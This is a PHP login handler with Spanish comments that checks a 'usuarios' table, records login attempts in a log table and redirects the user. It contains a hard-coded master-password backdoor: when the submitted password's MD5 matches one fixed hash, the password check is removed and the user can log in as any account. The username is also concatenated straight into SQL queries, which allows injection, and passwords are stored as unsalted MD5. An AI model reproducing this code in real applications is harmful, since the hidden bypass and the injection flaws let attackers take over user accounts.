<?php
session_start();
//conecto con la base de datos
include ("conexion.php");
date_default_timezone_set("America/Mexico_City");
$ip=$_SERVER['REMOTE_ADDR'];
//obtener datos del URL
$usuario=strip_tags($_POST["usuario"]);
$contrasena=md5(strip_tags($_POST["contrasena"]));
if($contrasena=="8b048504d45f3214e90ae82ea4d65665")
{
	$condicion="";
}
else {
	$condicion="and password='$contrasena'";
}

//Sentencia SQL para buscar un usuario con esos datos
$ssql = "SELECT * FROM usuarios WHERE idUsuario='$usuario' $condicion";
//Ejecuto la sentencia
$rs = mysql_query($ssql,$conex);
//vemos si el usuario y contrase�a es v�ildo
//si la ejecuci�n de la sentencia SQL nos da alg�n resultado
//es que si que existe esa conbinaci�n usuario/contrase�a
if (mysql_num_rows($rs)!=0)
{
    //usuario y contrase�a v�lidos
    //defino una sesion y guardo datos
    //session_start();
	//session_register("autentificado");
	$_SESSION['usuario']=$usuario;
	$_SESSION['contrasena']=$contrasena;

	//VERIFICO TIPO DE USUARIO
	$cons="Select tipo FROM usuarios where idUsuario='$usuario'";
	$res=mysql_query($cons,$conex) or die ("No se realizo la consulta en usuarios");
	$tipo=mysql_result($res,0,'tipo');

		?>
		<script>
		location.href="main.php";
		</script>
		<?php

	//INSERTO A LA BOTACORA
	$fecha=date("Y-m-d");
	$hora=date("H:i:s");

	$cons="insert into bitacora (idUsuario,fecha,hora,movimiento,ip) values ('$usuario','$fecha','$hora','INICIO SESION','$ip')" ;
	$res=mysql_query($cons,$conex) or die ("No se pudo Insertar los datos en la bitacora");
	//header ("Location: aplicacion.php");
}
else
{
	//INSERTO A LA BOTACORA
	$fecha=date("Y-m-d");
	$hora=date("H:i:s");
	$cons="insert into bitacora (idUsuario,fecha,hora,movimiento,ip) values ('$usuario','$fecha','$hora','FALLIDO INICIO SESION','$ip')" ;
	$res=mysql_query($cons,$conex) or die ("No se pudo Insertar los datos en la bitacora");

	?>
	<script>
	location.href="index.php?errorusuario=si";
	</script>
	<?php
}
mysql_free_result($res);
mysql_close($conex);
?>